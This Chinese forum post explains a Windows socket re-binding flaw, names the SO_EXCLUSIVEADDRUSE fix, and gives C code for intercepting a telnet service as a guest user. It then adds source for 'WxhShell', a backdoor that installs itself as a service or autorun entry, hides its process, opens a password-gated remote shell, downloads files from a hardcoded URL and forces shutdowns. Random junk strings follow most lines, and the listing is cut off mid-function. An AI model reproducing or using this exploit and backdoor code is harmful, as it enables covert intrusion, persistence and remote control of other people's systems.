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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OYQXi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r|u6OF>  
A} x_zt  
  saddr.sin_family = AF_INET; |8&\N  
>F_qa=t%[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g>d7%FFn}  
1 P(&GYc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ew)n~!s  
&/z+A{Hi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 401/33yBJ  
60.[t9pk6  
  这意味着什么?意味着可以进行如下的攻击: d;*OO xQV  
.rD#1)O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |*/uN~[  
w%%6[<3%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QE`:jxyad  
`!5tH?bX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $cp16  
UeutFNp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e3oYy#QNk  
*FI5z[8,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /ynKKJx<Y  
/\oyPD`((  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,E n(gm  
ZQgxrZx3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]x5(bnW x  
GgZEg ?@  
  #include >b/k|?xP  
  #include cQUH%7m  
  #include QiQ2XW\E  
  #include    oX=*MEfX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v#T?YK  
  int main() ?[NTw./'7A  
  { QI :/,w  
  WORD wVersionRequested; +S:u[x  
  DWORD ret; dvrvpDoE.  
  WSADATA wsaData; 5Xq.=/eX  
  BOOL val; 75^)Ni  
  SOCKADDR_IN saddr; UeK, q>i  
  SOCKADDR_IN scaddr; %nG~u,_2f  
  int err; @[[C s*-  
  SOCKET s; |zRoXO`]-*  
  SOCKET sc; h>mBkJ {  
  int caddsize; )f:!#v(K  
  HANDLE mt; X=*Yzz}  
  DWORD tid;   zO7lsx2 =  
  wVersionRequested = MAKEWORD( 2, 2 ); OoU'86)  
  err = WSAStartup( wVersionRequested, &wsaData ); OLd$oxKR  
  if ( err != 0 ) { 3=G5(0  
  printf("error!WSAStartup failed!\n"); y~#R:&d"  
  return -1; Hz;jJ&S  
  } &zg$H,@Qp  
  saddr.sin_family = AF_INET; v3VLvh 2)n  
   ;_Of`C+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %i]uW\~U  
b'Piymx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -?2&5YB  
  saddr.sin_port = htons(23); X,C/x)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nJM9c[Ou^H  
  { y<Z#my$`|n  
  printf("error!socket failed!\n"); (dGM;Dq8  
  return -1; OJC*|kN-#^  
  } E-7a`S  
  val = TRUE; y[ rB"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b 'Nvx9=W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <or>bo^  
  { {XVf|zM,  
  printf("error!setsockopt failed!\n"); ;)bF#@Q  
  return -1; n79DS(t  
  } g)zn.]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C6;](rN)N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LYxlo<f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $'I$n  
>R'VY "\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ck4T#g;=  
  { VgC9'"|  
  ret=GetLastError(); ;29XvhS8  
  printf("error!bind failed!\n"); D+vl%(g  
  return -1; 51FK~ 5  
  } -+S~1`0  
  listen(s,2); aaa#/OWQZ  
  while(1) /9vMGef@  
  { 59%f|.Z)  
  caddsize = sizeof(scaddr); VQW)qOR9  
  //接受连接请求 \Kzt*C-ZH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4d3]pvv  
  if(sc!=INVALID_SOCKET) si"mM>e  
  { 4'4s EjyA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b6E8ase:F  
  if(mt==NULL) w|UKMbRMU]  
  { Kt&$Si  
  printf("Thread Creat Failed!\n"); 1SJHX1CxX  
  break; =LeVJGF  
  } Wp~4[f`,  
  } JEkIbf?=r  
  CloseHandle(mt); (qc!-Isd~[  
  } DoPF/m}  
  closesocket(s); _-yF9g"I  
  WSACleanup(); Hh'14n&W  
  return 0; }s)&/~6  
  }   =~2 Uv>YG  
  DWORD WINAPI ClientThread(LPVOID lpParam) j/`qd(=B  
  { %`uRUex  
  SOCKET ss = (SOCKET)lpParam; /IQ-|Qkg  
  SOCKET sc; `b'|FKc]  
  unsigned char buf[4096]; k`J..f9  
  SOCKADDR_IN saddr; \kJt@ [w%  
  long num; 0f}Q~d=QL  
  DWORD val; '>lPq tdZ  
  DWORD ret; (P52KD[A[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5Z>pa`_$2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qd)cFL "v  
  saddr.sin_family = AF_INET; )V =K#MCK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m^u&g&^  
  saddr.sin_port = htons(23); ~9ls~$+*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F8r455_W"  
  { )GT?Wd  
  printf("error!socket failed!\n"); *t-A6)2  
  return -1; CR8r|+(8  
  } \oZUG  
  val = 100; <cS7L0h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oB}G^t  
  { @ke})0 `5  
  ret = GetLastError(); %JH_Nw.P  
  return -1; sN` o_q{Q  
  } s!RA_%8/>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1AEVZ@(j7  
  { M$hw(fC|m1  
  ret = GetLastError(); R (Pa Q  
  return -1; ^HN  
  } aKFA&Xnsl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )LMuxj  
  { #WmAkzvq  
  printf("error!socket connect failed!\n"); t=\[J+  
  closesocket(sc); b)`#^uxxJ  
  closesocket(ss); 8&[<pbN)  
  return -1; u|*| RuY  
  } ^3@a0J=F  
  while(1) O0*L9C/Q  
  { s{EX ;   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ua>~$`@gX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /Rcd}rO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 la{:RlW  
  num = recv(ss,buf,4096,0); oZcwbo8  
  if(num>0) d`][1rZk  
  send(sc,buf,num,0); 6)2M/(  
  else if(num==0) )tQ6rd'  
  break; lJ1xx}k{U  
  num = recv(sc,buf,4096,0); Tq_X8X#p  
  if(num>0) !U~#H_  
  send(ss,buf,num,0); qy(/   
  else if(num==0) v^I%Wm  
  break; >xMhA`l  
  } t }C ^E  
  closesocket(ss); >(4S `}K  
  closesocket(sc); (GOrfr  
  return 0 ; "?(Fb_}i  
  } 8PVs!?Nne  
W>s9Mp  
 v2=!*  
========================================================== [?6D1b[  
yzzre>F  
下边附上一个代码,,WXhSHELL +dpj?  
^dKaa  
========================================================== N}<U[nh'  
v5ddb)  
#include "stdafx.h" 'Mhdw}  
W_n.V" hN  
#include <stdio.h> Z8 n%=(He  
#include <string.h> W$&Ets8zo  
#include <windows.h> :q[n1 O[Ch  
#include <winsock2.h> r&~iEO|?\  
#include <winsvc.h> n\al}KG  
#include <urlmon.h> T eTOj|  
{h+E&u[zL  
#pragma comment (lib, "Ws2_32.lib") 0$Db@  
#pragma comment (lib, "urlmon.lib") *(.^$Iq4  
s-S"\zX\D  
#define MAX_USER   100 // 最大客户端连接数 Ywq+l]5/p  
#define BUF_SOCK   200 // sock buffer bjX$idL  
#define KEY_BUFF   255 // 输入 buffer j?)`VLZ  
4J|t}  
#define REBOOT     0   // 重启 KKJ[  
#define SHUTDOWN   1   // 关机 _ShJ3\,K  
/4BXF4ksi,  
#define DEF_PORT   5000 // 监听端口 )@|Fh@|  
=C2C~Xd  
#define REG_LEN     16   // 注册表键长度 PBnn,#  
#define SVC_LEN     80   // NT服务名长度 69[k ?')LM  
zszx@`/3  
// 从dll定义API WG r\R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u)]sJ1p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Cka."bQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <:t\P.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ANIm^@  
S.>9tV2Ca  
// wxhshell配置信息 #e|kA&+8M  
struct WSCFG { -T6%3>h  
  int ws_port;         // 监听端口 >{=RQgGy  
  char ws_passstr[REG_LEN]; // 口令 YAG3PWmD  
  int ws_autoins;       // 安装标记, 1=yes 0=no ADUI@#vk  
  char ws_regname[REG_LEN]; // 注册表键名 ?kefRev<#h  
  char ws_svcname[REG_LEN]; // 服务名 R6.#gb8^oS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +34jot.!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3!UP>,!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3`q`W9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _j tS-CnO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"   `.-C6!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5-po>1g'  
a{.n(M  
}; pD/S\E0@t  
H<?yG->  
// default Wxhshell configuration )q-!5^ak  
struct WSCFG wscfg={DEF_PORT, jd'R2e  
    "xuhuanlingzhe", dK$dQR#  
    1,  kS9  
    "Wxhshell", d7gSkna`5c  
    "Wxhshell", |mA*[?ye@  
            "WxhShell Service", py4_hj\v  
    "Wrsky Windows CmdShell Service", &N nMz9  
    "Please Input Your Password: ", hY9u#3  
  1, EZW?(%b>H  
  "http://www.wrsky.com/wxhshell.exe", N^at{I6C  
  "Wxhshell.exe" KPqI(  
    }; r\`m[Q  
s``L?9  
// 消息定义模块 ~'mhC46d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LvdMx]*SSr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @h3)! #\ N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'm:B(N@+  
char *msg_ws_ext="\n\rExit."; [AwE  
char *msg_ws_end="\n\rQuit."; !d_A?q'hN  
char *msg_ws_boot="\n\rReboot..."; P dnK@a  
char *msg_ws_poff="\n\rShutdown..."; !IU*Ayg  
char *msg_ws_down="\n\rSave to "; DR=1';63  
6*Qpq7Ml  
char *msg_ws_err="\n\rErr!"; xb>+~59:  
char *msg_ws_ok="\n\rOK!"; yp/*@8%_E  
5E=Odep`  
char ExeFile[MAX_PATH]; J n/=v\K@  
int nUser = 0; >fQN"(tf  
HANDLE handles[MAX_USER]; fXj  
int OsIsNt; {}e IpK,+  
AG2jl/  
SERVICE_STATUS       serviceStatus; c5pG?jr+d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w:v:znQrW  
.ji%%f  
// 函数声明 58,mu#yq6  
int Install(void); `6su_8Hno  
int Uninstall(void); "(GeW286k  
int DownloadFile(char *sURL, SOCKET wsh); AR^Di`n!  
int Boot(int flag); v2R:=d ')>  
void HideProc(void); 6 [E"  
int GetOsVer(void); H;ib3?  
int Wxhshell(SOCKET wsl); 6 H.Da]hk  
void TalkWithClient(void *cs); y 6< tV.  
int CmdShell(SOCKET sock); Nx'j+>bz>y  
int StartFromService(void); K6oLSr+EAK  
int StartWxhshell(LPSTR lpCmdLine); *^()el,d  
]ghPbS@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^lj>v}4fkW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y.J$f<[R  
~~mQ  
// 数据结构和表定义 (z{xd  
SERVICE_TABLE_ENTRY DispatchTable[] = *1Q?~  
{ GYO"1PM  
{wscfg.ws_svcname, NTServiceMain}, 9:s!#FYFM  
{NULL, NULL} ;{RQ+ZX'[  
}; db|$7]!w  
AaVlNjB  
// 自我安装 M-hnBt  
int Install(void) 7dZ!GX?\y  
{ Jjv&@a}  
  char svExeFile[MAX_PATH]; 8wOPpdc  
  HKEY key; ,H8P mn?  
  strcpy(svExeFile,ExeFile); 7 pV3#fQ  
C.O-iBVe#  
// 如果是win9x系统,修改注册表设为自启动 X,~C&#  
if(!OsIsNt) { Xo b##{P3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PX] v"xf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,*US) &x  
  RegCloseKey(key); Y!zlte|P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 62) F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v80 e]M!  
  RegCloseKey(key); RWYA`  
  return 0; qM'5cxe  
    } i fUgj8i_  
  } gC_U7aw  
} LJ?7W,?  
else { I6+5mv\  
"\ md  
// 如果是NT以上系统,安装为系统服务 , {^g}d8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %|Vq"MW,I  
if (schSCManager!=0) 1ARIZ;H  
{ ^Ue>T 8  
  SC_HANDLE schService = CreateService uP:'e8  
  ( f|!zjX`  
  schSCManager, 7-)KTBFL  
  wscfg.ws_svcname, }tN"C 3)@  
  wscfg.ws_svcdisp, Flsf5 Tr0  
  SERVICE_ALL_ACCESS, Ex<0@Oz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sy;~(rpg  
  SERVICE_AUTO_START, f`cO5lP/:)  
  SERVICE_ERROR_NORMAL, qmhHHFjQ  
  svExeFile, Em;zi.Y+V  
  NULL, .3#Tw'% G  
  NULL, MFrVGEQBRL  
  NULL, L,$9)`j  
  NULL, 4?`7XJ0a  
  NULL Pg7/g=Va  
  ); _F3:j9^  
  if (schService!=0) [||$1u\%  
  { raCxHY  
  CloseServiceHandle(schService); B^Vb=* QRo  
  CloseServiceHandle(schSCManager); %5b2vrg~*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5K0Isuu>>  
  strcat(svExeFile,wscfg.ws_svcname); 74_ji!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U:H*b{`TU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1jR<H$aS  
  RegCloseKey(key); 6v-h!1p{u  
  return 0; 0[^f9NZ>-  
    } YC{od5a  
  } ] '..G-  
  CloseServiceHandle(schSCManager); 2]|+.9B  
} sNWj+T  
} /}Max@.`  
R"jX9~3Ln  
return 1; $4m{g"xL  
} yo5|~"yZY  
t2>Vj>U  
// 自我卸载 BO^e.iB/  
int Uninstall(void) RaR$lcG+iY  
{ (c;$^xZK  
  HKEY key; 5=eGiF;0\  
Q/':<QY  
if(!OsIsNt) { :EZTJu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qSON3Iid  
  RegDeleteValue(key,wscfg.ws_regname); 2!A/]:[F  
  RegCloseKey(key); |#k1a:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Fi/!  
  RegDeleteValue(key,wscfg.ws_regname); ZDlMkHJ  
  RegCloseKey(key); 4q2aVm  
  return 0;  V}&  
  } _15r!RZ:1  
} 8@ b83  
} I_Q'+d  
else { >Py=H+d!j  
6 LC*X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F[LBQI`zq  
if (schSCManager!=0) RX '( l  
{ pl5!Ih6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M*nfWQ a  
  if (schService!=0) dI3U*:$X  
  { k z<We/  
  if(DeleteService(schService)!=0) { 6:Ra3!V"v  
  CloseServiceHandle(schService); Ef69]{E  
  CloseServiceHandle(schSCManager); ) b?HK SqI  
  return 0; {JMFCc[  
  } zUeS7\(l  
  CloseServiceHandle(schService); Rh iiQ  
  } wT;D<rqe`  
  CloseServiceHandle(schSCManager); !RV}dhI  
} P7Kp*He)  
} vV8}>  
7^=O^!sa  
return 1; 0EOpK%{  
} bPWIf*3#  
|+%K89W  
// 从指定url下载文件 &q>=6sQvf  
int DownloadFile(char *sURL, SOCKET wsh) \59+JLmP4  
{ uk16  
  HRESULT hr; W,:*`  
char seps[]= "/"; q*8^938  
char *token; .Um.dXBYU  
char *file; @wb V@  
char myURL[MAX_PATH]; in$Pk$ c  
char myFILE[MAX_PATH]; X2~>Z^, U  
*:wu{3g}M`  
strcpy(myURL,sURL); 0Db#W6*^  
  token=strtok(myURL,seps); *G^ QS"%  
  while(token!=NULL) s/8>(-H#  
  { Z':}ZXy]  
    file=token; - 3kg,=HU;  
  token=strtok(NULL,seps); 4Y[tx]<  
  } !h4L_D0  
mJl|dk_c  
GetCurrentDirectory(MAX_PATH,myFILE); 1-4W4"#  
strcat(myFILE, "\\"); 5P [b/.n  
strcat(myFILE, file); Ry8@U9B6,t  
  send(wsh,myFILE,strlen(myFILE),0); l:%4@t`  
send(wsh,"...",3,0); 4$C:r&K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); __OD^?qa  
  if(hr==S_OK) WOiw 0  
return 0; 1jpcoJ@s  
else lUbQ@7a<'  
return 1; a~=$9+?w  
4 @ )|N'  
} 4gzrxV  
j'g':U  
// 系统电源模块 > -OQk"o  
int Boot(int flag) Nw* >$v  
{ ND77(I$3s  
  HANDLE hToken; se2ay_<F+  
  TOKEN_PRIVILEGES tkp; X2v|O3>/N  
@#xh)"}  
  if(OsIsNt) { A46Xei:Ow  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L> > %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >8\EdN59{  
    tkp.PrivilegeCount = 1; uDbz`VpK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9v=5x[fE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hKj"Lb9 ]  
if(flag==REBOOT) { Tapj7/0`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %3!DRz  
  return 0; g4^=Q'j-  
} 4*&_h g)h  
else { Yjx*hv&?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g)nsP  
  return 0; FMh SHa/B  
} RX3P %xZ  
  } : A9G>qg  
  else { BxVo>r  
if(flag==REBOOT) { 0rP`BK|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bS[;d5  
  return 0; p'tB4V qT  
} 5 ELKL#(  
else { &;I=*B~kE$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n$&xVaF|  
  return 0; ;H}XW=vO  
} ,'N8Ivt  
} F l@%?  
{@ ygq-TZ  
return 1; b\& |030+  
} ?VaWOwWI  
w a7)  
// win9x进程隐藏模块 ] ;" blB  
void HideProc(void) V~([{  
{ N{w)}me[YY  
gJz~~g'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MZ]#9/  
  if ( hKernel != NULL ) SkU'JM7<95  
  { G;Jqby8d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^UOVXRn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tj7{[3~-[  
    FreeLibrary(hKernel); _8]hn[  
  } f sRRnD  
HuzHXn)  
return; `tZm  
} csABfxib  
ay4E\=k  
// 获取操作系统版本 %\<SSp^n  
int GetOsVer(void) a$-:F$z  
{ ;c};N(2  
  OSVERSIONINFO winfo; zI1-l9 o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qv4g#jX{  
  GetVersionEx(&winfo); D_VAtz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Twl>Pn>  
  return 1; !A@Ft}FB  
  else 0@cc XF E  
  return 0; " b?1Yc-  
} ` 9iB`<  
gK7bP'S8H  
// 客户端句柄模块 St 4YNS.|  
int Wxhshell(SOCKET wsl) yCC.j%@  
{ kIR?r0_<G6  
  SOCKET wsh; *%6NuZ  
  struct sockaddr_in client; E3%:7MB  
  DWORD myID; SY&)?~C  
,-({m'  
  while(nUser<MAX_USER) :70n%3a  
{ bUJ5j kZ)  
  int nSize=sizeof(client); fiG/ "/u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gN./u   
  if(wsh==INVALID_SOCKET) return 1; _\mMgZu  
%uA\Le  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [(Jj@HlP6T  
if(handles[nUser]==0) GBMCw  
  closesocket(wsh); SI-G7e)3;>  
else H!uB&qY  
  nUser++; r92C^h0  
  } @-9u;aL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HH`G/(a  
(rDB|kc^7  
  return 0; T;{M9W+  
} rwYlg:  
%UV'HcO/gp  
// 关闭 socket BM6 J  
void CloseIt(SOCKET wsh) AiMD"7 )c  
{ 0C3s  
closesocket(wsh); B-EVo&.  
nUser--; b d!|/Lk  
ExitThread(0); 0qND2_  
} pyvZ[R 9  
/1s|FI$-L  
// 客户端请求句柄 4^|;a0Qy]  
void TalkWithClient(void *cs) ~D[5AXV`^  
{ ? dD<KCbP,  
5yC$G{yV  
  SOCKET wsh=(SOCKET)cs; 4&TTPcSt;  
  char pwd[SVC_LEN]; ah1DuTT/G  
  char cmd[KEY_BUFF]; 8+gti*C?\  
char chr[1]; %x Xib9J  
int i,j; dM|&Y6  
7*D*nY4+  
  while (nUser < MAX_USER) { 7soiy A  
9t`   
if(wscfg.ws_passstr) {  Xn<~ln  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2`|1 !x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <X5'uve  
  //ZeroMemory(pwd,KEY_BUFF); Y%1 J[W  
      i=0; 3>jL7sh%|  
  while(i<SVC_LEN) { A$w0+&*=  
$8k QM  
  // 设置超时 Mwm=r//  
  fd_set FdRead; _ 9@D o6  
  struct timeval TimeOut; ^Md]e<WAp  
  FD_ZERO(&FdRead); k{fTq KS%h  
  FD_SET(wsh,&FdRead); ~[E@P1  
  TimeOut.tv_sec=8; =x8F!W}Bt<  
  TimeOut.tv_usec=0; }=d]ke9_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0)c9X[sG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %j '_I\  
,(%?j]_P2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <4caG2~q  
  pwd=chr[0]; F0 cde  
  if(chr[0]==0xd || chr[0]==0xa) { %TO=]>q  
  pwd=0; %D::$,;<<  
  break; q?Jd.r5*  
  } uyd y[n\  
  i++; 2(s+?n.N  
    } Cd>GY  
x2 s%qZ#  
  // 如果是非法用户,关闭 socket 1-HL#y*7$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }]8n3&*  
} 2!6+>nvO  
0zSRk]i.f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dr25;L? B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gnAM}  
sn|q EH  
while(1) { qNhV zx  
a!`b`r -4  
  ZeroMemory(cmd,KEY_BUFF); 1KH]l336D"  
RC[b+J,q  
      // 自动支持客户端 telnet标准   OHz>B!`  
  j=0; /zB;1%m-  
  while(j<KEY_BUFF) { D][e uB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %SWtE5HZQq  
  cmd[j]=chr[0]; [31vx0$_p  
  if(chr[0]==0xa || chr[0]==0xd) { ^qs{Cf$  
  cmd[j]=0; 1x\Vz\  
  break; M 5mCG  
  } zjyj,jP  
  j++; 8{mQmG4  
    } FQV]/  
L&C<-BA/  
  // 下载文件 nG0Uv%?{pj  
  if(strstr(cmd,"http://")) { c&A;0**K,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); --ED]S 8  
  if(DownloadFile(cmd,wsh)) 5&&6e`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2r3]DrpJ  
  else ] D(laqS;"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?DN4j!/$  
  } F vJJpPS  
  else { $!+t2P@d.5  
Fv[. %tW  
    switch(cmd[0]) { <tT*.nM\  
  -3YsrcJi  
  // 帮助 Z*/*P4\  
  case '?': { f87> ul!*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'rT@r:6fn  
    break; =Mg/m'QI  
  } S6.N)7y  
  // 安装 o6@Hj+,,  
  case 'i': { b!>w4MPe  
    if(Install()) Ihe/P {t]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /+FZDRf!r  
    else Yl65|=n e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*I _'2  
    break; R~z@voM*<  
    } m,zZe}oJ  
  // 卸载 o_2mSD!  
  case 'r': { }]-SAM  
    if(Uninstall()) c$<7&{Pb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r<0l=  
    else ,n')3r   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ!KZ!p  
    break; #MZ0Sd8]&  
    } @$5!  
  // 显示 wxhshell 所在路径 :+1S+w  
  case 'p': { RETq S  
    char svExeFile[MAX_PATH]; C:$12{I?*  
    strcpy(svExeFile,"\n\r"); QK+s}ny  
      strcat(svExeFile,ExeFile); rcc.FS  
        send(wsh,svExeFile,strlen(svExeFile),0); &"V%n  
    break; &FQ]`g3_@  
    } NNWbbU3wjh  
  // 重启 $N7:;X"l  
  case 'b': { X%+FM]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $,vZX u|Qw  
    if(Boot(REBOOT)) {H$F!}a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@k;"pFa<  
    else { *fBI),bZa  
    closesocket(wsh); 91oIxW  
    ExitThread(0); V^qZ~US  
    } 7\'ow|)}v  
    break; IN? A`A  
    } 97H2hYw9l  
  // 关机 # ;,b4O7@  
  case 'd': { _IAvFJI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S9sFC!s1g  
